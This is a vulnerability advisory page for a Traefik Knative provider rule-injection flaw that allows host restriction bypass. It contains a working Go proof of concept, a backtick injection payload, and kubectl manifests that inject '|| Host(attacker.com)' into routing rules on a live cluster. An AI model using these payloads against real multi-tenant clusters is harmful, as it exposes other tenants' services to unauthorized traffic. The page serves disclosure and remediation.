Skip to content

GHSA-67jx-r9pv-98rj CVE-2026-32695 GO-2026-4880

Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.47%
Chance of exploitation in the next 30 days. Higher than 40.80% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Fix
3.6.11
Upgrade github.com/traefik/traefik/v3 to this version or later

Description

Summary

There is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.

User-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative rules[].hosts[] was exploitable for host restriction bypass (for example tenant.example.com) || Host(attacker.com), producing a router that serves attacker-controlled hosts. Knative headers[].exact also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.

Tested on Traefik v3.6.10; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.

Details

The issue is caused by unsafe rule-string construction using fmt.Sprintf with backtick-delimited literals.

Incriminated code patterns:

  • pkg/provider/kubernetes/knative/kubernetes.go

    • fmt.Sprintf("Host(%v)", host)
    • fmt.Sprintf("Header(%s,%s)", key, headers[key].Exact)
    • fmt.Sprintf("PathPrefix(%s)", path)
  • pkg/provider/kubernetes/ingress/kubernetes.go

    • fmt.Sprintf("Host(%s)", host)
    • fmt.Sprintf("(Path(%[1]s) || PathPrefix(%[1]s/))", path)
  • pkg/provider/kubernetes/ingress-nginx/kubernetes.go (hardening candidate; not the primary confirmed vector in this report)

    • fmt.Sprintf("Header(%s, %s)", c.Header, c.HeaderValue)
    • related host/path/header concatenations with backticks

Because inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:

  • x) || Host(attacker.com

When used as a header value in Knative rule construction, the resulting rule contains:

  • Header(X-Poc,x) || Host(attacker.com)

This alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (hosts[] vs headers[].exact) this can become a direct routing bypass.

Important scope note:

  • Gateway API code path (pkg/provider/kubernetes/gateway/httproute.go) already uses safer %q formatting for header/query rules and is not affected by this exact pattern.
  • For standard Kubernetes Ingress, spec.rules.host is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked).
  • For Knative Ingress, rules[].hosts[] and headers[].exact are typed as string in CRD schema with no pattern constraint.
  • In this validation environment, rules[].hosts[] was accepted and produced a practical host bypass. headers[].exact was also accepted and produced rule-syntax injection in generated routers.
  • Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here.
  • Exploitability depends on admission/validation policy and who can create these resources.

PoC

  1. Local deterministic PoC (no cluster required):
  • Run:
    • Save the inline PoC below as poc_build_rule.go
    • Run go run poc_build_rule.go
  • Observe output:
    • Legitimate rule: (Host(tenant.example.com)) && (Header(X-API-Key,secret123)) && PathPrefix(/)
    • Malicious rule: (Host(tenant.example.com)) && (Header(X-API-Key,x) || Host(attacker.com)) && PathPrefix(/)
  • This proves syntax injection in current string-construction logic.

Inline PoC code (self-contained):

package main

import (
	"fmt"
	"sort"
	"strings"
)

func buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {
	var operands []string

	if len(hosts) > 0 {
		var hostRules []string
		for _, host := range hosts {
			hostRules = append(hostRules, fmt.Sprintf("Host(`%v`)", host))
		}
		operands = append(operands, fmt.Sprintf("(%s)", strings.Join(hostRules, " || ")))
	}

	if len(headers) > 0 {
		headerKeys := make([]string, 0, len(headers))
		for k := range headers {
			headerKeys = append(headerKeys, k)
		}
		sort.Strings(headerKeys)

		var headerRules []string
		for _, key := range headerKeys {
			headerRules = append(headerRules, fmt.Sprintf("Header(`%s`,`%s`)", key, headers[key].Exact))
		}
		operands = append(operands, fmt.Sprintf("(%s)", strings.Join(headerRules, " && ")))
	}

	if len(path) > 0 {
		operands = append(operands, fmt.Sprintf("PathPrefix(`%s`)", path))
	}

	return strings.Join(operands, " && ")
}

func main() {
	legitHeaders := map[string]struct{ Exact string }{
		"X-API-Key": {Exact: "secret123"},
	}
	fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, legitHeaders, "/"))

	maliciousHeaders := map[string]struct{ Exact string }{
		"X-API-Key": {Exact: "x`) || Host(`attacker.com"},
	}
	fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, maliciousHeaders, "/"))

	// Safe variant example (Gateway-style):
	fmt.Println(fmt.Sprintf("Header(%q,%q)", "X-API-Key", "x`) || Host(`attacker.com"))
}
  1. Cluster PoC (Knative host injection, primary / practical bypass):
  • Preconditions:
    • Kubernetes test cluster with Knative Serving.
    • Traefik configured with Knative provider.
  • Apply manifest:
    • kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
  name: poc-host-injection
  namespace: default
  annotations:
    # This exact key worked in live validation:
    networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
  rules:
    - hosts:
        - 'tenant.example.com`) || Host(`attacker.com'
      visibility: External
      http:
        paths:
          - path: "/"
            splits:
              - percent: 100
                serviceName: dummy
                serviceNamespace: default
                servicePort: 80
YAML
  • (If API version mismatch, adjust between networking.internal.knative.dev/v1alpha1 and networking.knative.dev/v1alpha1.)
  • Verify:
    • Check Traefik router rule contains: (Host(tenant.example.com) || Host(attacker.com)) && PathPrefix(/).
    • Request with Host: attacker.com returns backend 200.
    • This demonstrates host restriction bypass in practice.
  1. Cluster PoC (Knative header injection, confirms rule-syntax injection):
  • Apply:
    • kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
  name: poc-rule-injection
  namespace: default
  annotations:
    networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
  rules:
    - hosts:
        - "tenant.example.com"
      visibility: External
      http:
        paths:
          - path: "/"
            headers:
              X-Poc:
                exact: 'x`) || Host(`attacker.com'
            splits:
              - percent: 100
                serviceName: dummy
                serviceNamespace: default
                servicePort: 80
YAML
  • Verify:
    • Inspect generated Traefik dynamic router rule (API/dashboard/logs).
    • Confirm injected fragment || Host(attacker.com) is present.
    • Send request with Host: attacker.com and no expected tenant header (expected: 404 for this payload shape, because leading Host(tenant) still applies).
    • Send request with Host: tenant.example.com and X-Poc: x (expected: 200 from backend).
  1. Optional Ingress PoC (scope check):
  • Apply:
    • kubectl apply -f - <<'YAML'
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: poc-ingress-host-injection
  namespace: default
  annotations:
    kubernetes.io/ingress.class: traefik
spec:
  rules:
    - host: 'tenant.example.com`) || Host(`attacker.com'
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: dummy
                port:
                  number: 80
YAML
  • Expected in most clusters: API server rejects this payload because Ingress host must satisfy DNS-1123.
  • Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.

Validation executed in this report:

  • Local deterministic PoC executed with go run and output matched expected injected rule.
  • Live cluster test executed on local kind cluster (kind-traefik-poc) with Traefik v3.6.10 and Knative Serving CRDs.
  • Annotation key confirmed in this environment: networking.knative.dev/ingress.class (dot). The hyphen variant was not used by the successful processing path.
  • Traefik API/logs confirmed generated routers included injected expressions.
  • Live HTTP request with Host: attacker.com reached backend (200) for Knative host-injection payload.

Impact

  • Vulnerability type: Rule injection / authorization bypass at routing layer.
  • Primary impact: Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.
  • Who is impacted: Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.
  • Security consequences: Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.

</details>

Affected versions

Go

PackageVulnerableFixed in
github.com/traefik/traefik
all versions
No fix yet
github.com/traefik/traefik/v2
<= 2.11.42
No fix yet
github.com/traefik/traefik/v2
all versions
No fix yet
github.com/traefik/traefik/v3
< 3.6.11
3.6.11
github.com/traefik/traefik/v3
>= 3.7.0-ea.1, < 3.7.0-ea.2
3.7.0-ea.2
github.com/traefik/traefik/v3
< 3.6.11
>= 3.7.0-ea.1, < 3.7.0-ea.2
3.6.11
3.7.0-ea.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/traefik/traefik/v3 Go → 3.6.11

go
go get github.com/traefik/traefik/v3@v3.6.11 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
High
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

How to prevent it
  • Requirements: Programming languages and supporting technologies might be chosen which are not subject to these issues.
  • Implementation: Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GO-2026-6558
Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle
Medium Also affects github.com/traefik/traefik
GHSA-f52w-8j3h-j724
Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging
High Also affects github.com/traefik/traefik
GHSA-w4v4-9rw7-5326
Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization
Critical Also affects github.com/traefik/traefik
GHSA-qqjf-53cj-pwvv
Traefik HTTP/3 Backend NTLM Connection Reuse
Critical Also affects github.com/traefik/traefik
GO-2026-6467
Traefik entrypoint header-name sanitization bypassed via request trailers
High Also affects github.com/traefik/traefik
GHSA-rf44-j88r-hh8c
Traefik: ForwardAuth identity spoofing via dot-form header alias
High Also affects github.com/traefik/traefik
GHSA-7ghq-v6jf-g56c
Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded
Medium Also affects github.com/traefik/traefik
GHSA-62fc-8686-hfmq
Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef
Medium Also affects github.com/traefik/traefik
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor